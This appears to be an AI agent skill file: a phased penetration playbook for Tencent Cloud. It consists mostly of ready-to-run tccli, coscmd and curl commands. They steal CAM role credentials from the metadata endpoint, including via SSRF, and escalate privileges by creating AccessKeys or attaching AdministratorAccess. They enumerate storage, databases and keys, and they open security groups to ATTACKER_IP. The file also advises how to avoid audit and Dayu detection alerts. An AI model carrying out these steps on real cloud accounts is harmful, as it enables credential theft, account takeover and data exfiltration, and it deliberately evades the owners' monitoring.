Tencent Cloud services such as CAM/CVM/COS/TencentDB/TKE constitute the main attack surface. Unlike AWS/Alibaba Cloud, Tencent Cloud metadata commonly uses the domain metadata.tencentyun.com, and some environments also support the link-local IP (such as 169.254.0.23); COS operations require the separate coscmd tool, and CAM uses the Uin/SubUin identity model (rather than the ARN system). This skill is organized around penetration phases (Phase), from credential identification to exploitation of each service, providing a complete attack path.
⛔ In-depth references (must read)
After identifying the specific attack service, load the corresponding reference document to obtain complete technical details:
- Detailed exploitation of compute/storage/database → read references/compute-storage-attacks.md
- Detailed exploitation of container/serverless/log/KMS → read references/platform-services-attacks.md
Phase 1: Environment Identification
After obtaining a Tencent Cloud-related target, first identify the credential type, confirm that the CLI tools are available, and determine the network position.
1.1 Credential Types
| Credential Type | Identifying Features | Validity Period | Obtaining Method |
|---|---|---|---|
| Long-term SecretId/SecretKey | SecretId starts with AKID Start |
Permanent (until manually rotated) | Created in CAM console / code leak |
| STS temporary credentials | Contains a Token field | 15 minutes ~ 2 hours | AssumeRole / CVM metadata |
| CVM Role (instance-bound) | Obtained via metadata.tencentyun.com | Automatically rotated | CVM instance metadata service |
1.2 CLI Configuration
Tencent Cloud has two key CLI tools, and they must be distinguished:
# 主 CLI: tccli（覆盖绝大多数服务）
pip install tccli
tccli configure
# 交互式填入 SecretId / SecretKey / Region / Output
# 验证当前身份
tccli sts GetCallerIdentity
# 返回: AccountId, Arn, Type (对应 Root/SubUser/RoleUser)
# COS 专用工具: coscmd（tccli cos 子命令功能有限！）
pip install coscmd
coscmd config -a SECRET_ID -s SECRET_KEY -b BUCKET_NAME -r REGION
# coscmd 支持 list / upload / download / delete 等完整文件操作
# tccli cos 仅支持 Bucket 级别 API，无法方便地列出/下载对象
Key differences: Tencent Cloud COS operations must be combined with coscmd。tccli cos GetService can list the bucket list, but operations such as enumerating object contents and batch downloading require coscmd. This is an important tool distinction in Tencent Cloud penetration testing.
1.3 Metadata Endpoints
The commonly used domain for Tencent Cloud CVM metadata endpoints is metadata.tencentyun.com, and some environments can also access it via the link-local IP (such as 169.254.0.23); SSRF detection and protection should consider both the domain and IP forms.
# 判断是否在 CVM 实例内部
curl -s http://metadata.tencentyun.com/latest/meta-data/
curl -s http://169.254.0.23/latest/meta-data/
# 获取实例绑定的 CAM Role 名称
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
# 获取该 Role 的临时凭据（TmpSecretId/TmpSecretKey/Token）
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/ROLE_NAME
# 获取实例 ID、区域等信息
curl -s http://metadata.tencentyun.com/latest/meta-data/instance-id
curl -s http://metadata.tencentyun.com/latest/meta-data/placement/region
# 获取 User-Data（可能包含初始化脚本中的凭据）
curl -s http://metadata.tencentyun.com/latest/user-data
SSRF exploitation difference: Tencent Cloud metadata commonly uses the domain metadata.tencentyun.com, and a link-local IP access path may also exist; restricting only the common AWS/Alibaba Cloud metadata IPs (such as 169.254.169.254、100.100.100.200) is not sufficient. At the same time, Tencent Cloud currently does not enforce IMDSv2, and the metadata service of most CVM instances can be accessed directly via HTTP GET.
1.4 Object Storage URL Format
公网访问: https://{bucket}-{appid}.cos.{region}.myqcloud.com/{object}
自定义域名: https://custom.domain.com/{object}
Discovering the cos.*.myqcloud.com domain confirms that the target uses Tencent Cloud COS. The bucket name format is {name}-{appid}, and the appid is numeric.
1.5 Region Codes
| Region Code | Location | Notes |
|---|---|---|
| ap-guangzhou | South China (Guangzhou) | Location of Tencent Cloud headquarters, the most commonly used region |
| ap-shanghai | East China (Shanghai) | Commonly used by financial customers |
| ap-beijing | North China (Beijing) | Commonly used by government and enterprise customers |
| ap-chengdu | Southwest China (Chengdu) | |
| ap-chongqing | Southwest China (Chongqing) | |
| ap-nanjing | East China (Nanjing) | |
| ap-hongkong | Hong Kong, China | No filing required, often used for overseas business |
| ap-singapore | Singapore | Overseas region |
Enumeration requires traversing multiple regions. Some services (such as CAM and STS) are global services and are not restricted by region.
1.6 CAM Identity Model
Tencent Cloud CAM uses the Uin/SubUin model, which differs from the AWS ARN system:
| Concept | Tencent Cloud CAM | AWS IAM |
|---|---|---|
| Root account identifier | Uin (numeric, e.g. 100000123456) | Account ID (12-digit number) |
| Sub-user identifier | SubUin (numeric) | IAM User ARN |
| Role identifier | RoleId + RoleName | Role ARN |
| Policy association | Bound via Uin/SubUin | Bound via ARN |
# 获取当前身份（已在 1.2 中介绍，此处复习）
tccli sts GetCallerIdentity
# 返回 AccountId（即主账号 Uin）、Type
# 列出子用户详情（需知道子用户 Uin）
tccli cam DescribeSubAccounts --FilterSubAccountUin '[SUB_UIN]'
Phase 2: Attack Decision Tree
Based on the currently held credentials/location, determine the attack path:
当前持有什么？
├── 无凭据
│ ├── 有目标域名 → COS Bucket 枚举（猜解 bucket-appid 名 + 公开访问检测）
│ ├── 有 SSRF 漏洞 → 打 http://metadata.tencentyun.com 获取 CAM Role 凭据
│ └── 仅知组织名 → OSINT + COS/子域名枚举
│
├── 有 SecretId/SecretKey（AKID 开头）
│ ├── 先验证: tccli sts GetCallerIdentity
│ ├── 有 CAM 写权限 → Phase 3（CAM 提权）
│ ├── 有 CVM 权限 → Phase 4（计算/存储）
│ ├── 有 COS 权限 → Phase 4（对象存储，需 coscmd！）
│ ├── 有 TencentDB 权限 → Phase 4（数据库）
│ └── 权限不明 → 逐服务探测（手动调用各命名空间 Describe* 类 API）
│
├── 有 STS 临时凭据（含 Token）
│ └── 同上，但需注意有效期（最长 2 小时），快速行动
│
├── 在 CVM 实例内部
│ ├── 获取元数据 CAM Role 凭据 → 根据权限进入对应 Phase
│ └── 检查 User-Data 中是否有硬编码凭据
│
└── 有容器环境（TKE Pod 内部）
├── 检查 ServiceAccount Token
├── 尝试访问 metadata.tencentyun.com 元数据
└── → Phase 5（容器/Serverless）
Phase 3: CAM Privilege Escalation Quick Reference
CAM (Cloud Access Management) is Tencent Cloud's identity and permission service, comparable to AWS IAM.
3.1 Information Gathering
# 列出所有子用户
tccli cam ListUsers
# 查看指定子用户的策略（使用 SubUin）
tccli cam ListAttachedUserPolicies --TargetUin SUB_UIN
# 列出该用户的 AccessKey
tccli cam ListAccessKeys --TargetUin UIN
# 列出所有角色
tccli cam DescribeRoleList --Page 1 --Rp 100
3.2 Privilege Escalation Paths
| Privilege escalation path | Required permissions | Operation |
|---|---|---|
| Create AccessKey | cam:CreateAccessKey |
Create a new SecretId/SecretKey for a high-privilege user |
| Attach policy | cam:AttachUserPolicy |
Attach to yourself AdministratorAccess |
| Create policy version | cam:CreatePolicy |
Create an Allow * policy and attach it to yourself |
| Modify role trust policy | cam:UpdateAssumeRolePolicy |
Modify the role trust entity so that you can AssumeRole |
| PassRole + Create CVM | cam:PassRole + cvm:RunInstances |
Launch a CVM bound to a high-privilege Role |
| PassRole + Create SCF | cam:PassRole + scf:CreateFunction |
Create and execute a cloud function bound to a high-privilege Role |
# 提权示例：为目标用户创建新 AccessKey
tccli cam CreateAccessKey --TargetUin TARGET_UIN
# 成功返回 SecretId + SecretKey，用新凭据重新配置 CLI
# 提权示例：给当前用户附加管理员策略
tccli cam AttachUserPolicy --PolicyId 1 --AttachUin CURRENT_SUB_UIN
# PolicyId 1 = AdministratorAccess（腾讯云预设策略）
Phase 4: Compute/Storage/Database Quick Reference
CVM (Cloud Virtual Machine)
# 列出实例
tccli cvm DescribeInstances --output json
# 获取指定实例详情
tccli cvm DescribeInstances --InstanceIds '["ins-INSTANCE_ID"]'
→ Read references/compute-storage-attacks.md for the complete process of obtaining VNC connections, extracting User-Data, and executing TAT commands
COS (Object Storage)
# 列出所有 Bucket（tccli 可完成）
tccli cos GetService --output json
# 列出 Bucket 内容（必须用 coscmd！）
coscmd -b BUCKET_NAME -r REGION list
coscmd -b BUCKET_NAME -r REGION list -a # 递归列出所有对象
→ Read references/compute-storage-attacks.md for the complete process of ACL checks, data downloads, and public access detection
TencentDB (Database)
# 列出所有 MySQL 实例（cdb 命名空间）
tccli cdb DescribeDBInstances --output json
→ Read references/compute-storage-attacks.md for the complete process of obtaining connection information, creating accounts, and exporting data
CLB (Load Balancer)
# 列出所有负载均衡实例
tccli clb DescribeLoadBalancers --output json
→ Read references/compute-storage-attacks.md for the complete process of backend tampering and traffic hijacking
Phase 5: Container/Serverless/Logs/KMS Quick Reference
TKE (Container Service for Kubernetes)
# 列出集群 → 获取 kubeconfig
tccli tke DescribeClusters
tccli tke DescribeClusterKubeconfig --ClusterId cls-CLUSTER_ID
→ Read references/platform-services-attacks.md for the complete process of cluster takeover and privileged Pod creation
SCF (Cloud Function)
# 列出函数（命名空间为 scf，不是 scb！）
tccli scf ListFunctions --Namespace default --output json
→ Read references/platform-services-attacks.md for the complete process of code extraction and environment variable leakage
CLS (Log Service)
# 搜索敏感信息
tccli cls SearchLog --TopicId TOPIC_ID --Query "password|secret|token"
→ Read references/platform-services-attacks.md for the complete process of log search and batch export
KMS (Key Management)
# 列出密钥 → 尝试解密
tccli kms ListKeys
→ Read references/platform-services-attacks.md for the complete process of key enumeration and data decryption
Phase 6: Security Group Manipulation
Security groups are the network access control layer of Tencent Cloud CVM, similar to AWS Security Groups. Security group rules can be used to open network paths.
# 列出所有安全组
tccli vpc DescribeSecurityGroups --output json
# 查看安全组规则
tccli vpc DescribeSecurityGroupPolicies --SecurityGroupId sg-SG_ID
# 添加入方向规则 — 仅开放攻击者 IP 的 SSH
tccli vpc CreateSecurityGroupPolicies --SecurityGroupId sg-SG_ID \
--SecurityGroupPolicySet '{"Ingress":[{"Protocol":"tcp","Port":"22","CidrBlock":"ATTACKER_IP/32","Action":"ACCEPT"}]}'
# 危险操作 — 开放所有端口（极高告警风险）
tccli vpc CreateSecurityGroupPolicies --SecurityGroupId sg-SG_ID \
--SecurityGroupPolicySet '{"Ingress":[{"Protocol":"tcp","Port":"ALL","CidrBlock":"0.0.0.0/0","Action":"ACCEPT"}]}'
Basis for judgment: Operate security groups only when a reverse connection needs to be established or internal services need to be accessed directly. Prefer using the minimum port range + specified source IP to avoid triggering Dayu security alerts.
Tool quick reference
| Tool | Purpose | Installation/Usage |
|---|---|---|
| tccli | Tencent Cloud official command-line tool | pip install tccli |
| coscmd | Dedicated tool for COS object storage (essential!) | pip install coscmd |
| tccli sts GetCallerIdentity | Verify credential identity | Built-in subcommand |
| curl | Metadata service probing (note to use a domain name) | Built into the system |
| kubectl | TKE cluster operations | Use after obtaining kubeconfig |
| cf (Cloud Exploitation Framework) | Tencent Cloud/Alibaba Cloud automated exploitation | go install github.com/teamssix/cf@latest |
Precautions
Cloud audit awareness: Tencent Cloud CloudAudit records management event API calls (similar to AWS CloudTrail). The following operations generate high-visibility logs:
- CAM changes (CreateUser, CreateAccessKey, AttachUserPolicy)
- STS calls (AssumeRole)
- Security group rule changes (CreateSecurityGroupPolicies, vpc namespace)
Dayu security detection: Tencent Cloud security products will detect:
- Abnormal calls with SecretId/SecretKey (abnormal IP, abnormal time, abnormal API frequency)
- Abnormal CVM logins (IPs from uncommon regions)
- Abnormally open security group rules
- COS Bucket ACL changed to public
Rate limiting: Tencent Cloud APIs have throttling mechanisms; it is recommended to control the frequency during enumeration. Triggering throttling returns the RequestLimitExceeded error code.
Region traversal: Similar to AWS, Tencent Cloud resources are isolated by region. Global services (CAM, STS) are not restricted by region, but CVM/COS/TencentDB etc. need to be enumerated region by region.
tccli parameter format: Some tccli parameters accept JSON format (such as --Accounts '[{...}]'、--SecurityGroupPolicySet '{...}'); pay attention to correct JSON escaping.